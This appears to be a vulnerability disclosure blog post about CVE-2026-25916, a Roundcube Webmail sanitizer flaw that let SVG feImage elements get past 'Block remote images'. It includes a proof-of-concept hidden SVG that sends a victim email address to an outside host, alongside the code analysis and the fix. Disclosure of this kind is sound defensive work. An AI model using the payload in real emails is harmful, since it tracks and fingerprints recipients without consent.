class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube Webmail\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt; 1.5.13, 1.6.x \u0026lt; 1.6.13\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eCVE-2026-25916\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVSS 3.1\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N\"\u003e4.3 / Medium\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVSS 4.0\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N\"\u003e5.3 / Medium\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"background\"\u003eBackground\u003ca href=\"#background\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eWhen \u003ccode\u003eallow_remote\u003c/code\u003e is false, Roundcube\u0026rsquo;s sanitizer intercepts image-bearing attributes (\u003ccode\u003esrc\u003c/code\u003e on \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e, \u003ccode\u003ehref\u003c/code\u003e on \u003ccode\u003e\u0026lt;image\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;use\u0026gt;\u003c/code\u003e) and runs them through \u003ccode\u003eis_image_attribute()\u003c/code\u003e. That function blocks external URLs.\u003c/p\u003e\n\u003cp\u003eSeparately, non-image URLs (like \u003ccode\u003e\u0026lt;a href\u0026gt;\u003c/code\u003e) go through \u003ccode\u003ewash_link()\u003c/code\u003e, which lets HTTP/HTTPS URLs through. That\u0026rsquo;s fine for links the user clicks on intentionally.\u003c/p\u003e\n\u003ch2 id=\"discovery\"\u003eDiscovery\u003ca href=\"#discovery\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI got bored during my christmas vacation and \u003ca href=\"https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12\"\u003ethis SVG-based XSS fix via the \u003ccode\u003eanimate\u003c/code\u003e tag\u003c/a\u003e appeared on my radar. One SVG bug usually means more.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e So I spent some time going through \u003ccode\u003ercube_washtml.php\u003c/code\u003e, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e stood out.\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e Its \u003ccode\u003ehref\u003c/code\u003e gets fetched on render, same as \u003ccode\u003e\u0026lt;img src\u0026gt;\u003c/code\u003e. But the sanitizer sends it through \u003ccode\u003ewash_link()\u003c/code\u003e instead of \u003ccode\u003eis_image_attribute()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo the \u0026ldquo;Block remote images\u0026rdquo; setting doesn\u0026rsquo;t apply to it.\u003c/p\u003e\n\u003ch2 id=\"technical-details\"\u003eTechnical details\u003ca href=\"#technical-details\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eIn \u003ccode\u003ewash_attribs()\u003c/code\u003e, every attribute hits a chain of checks. The first one that matches wins:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L310-L313\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eis_image_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ewash_uri\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"c1\"\u003e// blocks remote URLs\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eis_link_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ewash_link\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e        \u003cspan class=\"c1\"\u003e// allows http/https\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBefore the fix, \u003ccode\u003eis_image_attribute()\u003c/code\u003e looked like this:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L472-L481\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_image_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;background\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;color-profile\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;poster\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;video\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;src\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^(img|image|source|input|video|audio)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;use\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;image\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003ehref\u003c/code\u003e attribute is only matched for \u003ccode\u003euse\u003c/code\u003e and \u003ccode\u003eimage\u003c/code\u003e. No \u003ccode\u003efeimage\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eAnd \u003ccode\u003eis_link_attribute()\u003c/code\u003e is a catch-all\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L459-L462\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_link_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSo when the sanitizer encounters \u003ccode\u003e\u0026lt;feImage href=\u0026quot;https://...\u0026quot;\u0026gt;\u003c/code\u003e: \u003ccode\u003eis_image_attribute('feimage', 'href')\u003c/code\u003e returns false, \u003ccode\u003eis_link_attribute('feimage', 'href')\u003c/code\u003e returns true, and the URL goes through \u003ccode\u003ewash_link()\u003c/code\u003e which passes HTTP/HTTPS URLs straight through.\u003c/p\u003e\n\u003ch2 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAn invisible 1x1 SVG, positioned off-screen:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003edefs\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003efilter\u003c/span\u003e \u003cspan class=\"na\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;t\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003efeImage\u003c/span\u003e \u003cspan class=\"na\"\u003ehref\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://httpbin.org/image/svg?email=victim@test.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e               \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003edefs\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;url(#t)\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe browser evaluates the SVG filter and fires a GET to the attacker\u0026rsquo;s URL.\u003c/p\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe \u0026ldquo;Block remote images\u0026rdquo; setting doesn\u0026rsquo;t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/26d7677\"\u003e\u003ccode\u003e26d7677\u003c/code\u003e\u003c/a\u003e) collapses the two separate \u003ccode\u003euse\u003c/code\u003e/\u003ccode\u003eimage\u003c/code\u003e checks into a single regex that includes \u003ccode\u003efeimage\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L478\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^(feimage|image|use)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e \u003cspan class=\"c1\"\u003e// SVG\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow \u003ccode\u003e\u0026lt;feImage href\u0026gt;\u003c/code\u003e hits \u003ccode\u003eis_image_attribute()\u003c/code\u003e first, gets routed through \u003ccode\u003ewash_uri()\u003c/code\u003e, and the remote URL is blocked.\u003c/p\u003e\n\u003cp\u003eUpdate to 1.5.13 or 1.6.13.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-04\u003c/td\u003e\n          \u003ctd\u003eReported to Roundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003e1.5.13 and 1.6.13 released\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003eThis post\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-09\u003c/td\u003e\n          \u003ctd\u003eCVE-2026-25916 assigned\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eThe SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eIt\u0026rsquo;s an SVG filter primitive that loads an external image and uses it as input to a filter chain (\u003ca href=\"https://www.w3.org/TR/SVG11/filters.html#feImageElement\"\u003espec\u003c/a\u003e). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eThis matches \u003ccode\u003ehref\u003c/code\u003e on every element, including \u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e. That\u0026rsquo;s the root cause.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"TL;DR: Roundcube’s rcube_washtml sanitizer blocked external resources on \u003cimg\u003e, \u003cimage\u003e, and \u003cuse\u003e, but not on \u003cfeImage\u003e. Its href went through the wrong code path and got allowed through. Attackers could track email opens even when “Block remote images” was on. Fixed in 1.5.13 and 1.6.13.\nVulnerability information# Field Value Vendor Roundcube Product Roundcube Webmail Affected versions \u003c 1.5.13, 1.6.x \u003c 1.6.13 CVE CVE-2026-25916 CVSS 3.1 4.3 / Medium CVSS 4.0 5.3 / Medium Disclosure date 2026-02-08 Background# When allow_remote is false, Roundcube’s sanitizer intercepts image-bearing attributes (src on \u003cimg\u003e, href on \u003cimage\u003e and \u003cuse\u003e) and runs them through is_image_attribute(). That function blocks external URLs.\nSeparately, non-image URLs (like \u003ca href\u003e) go through wash_link(), which lets HTTP/HTTPS URLs through. That’s fine for links the user clicks on intentionally.\nDiscovery# I got bored during my christmas vacation and this SVG-based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more.1 So I spent some time going through rcube_washtml.php, looking at which SVG elements made it onto the allowlist and how their attributes get handled and 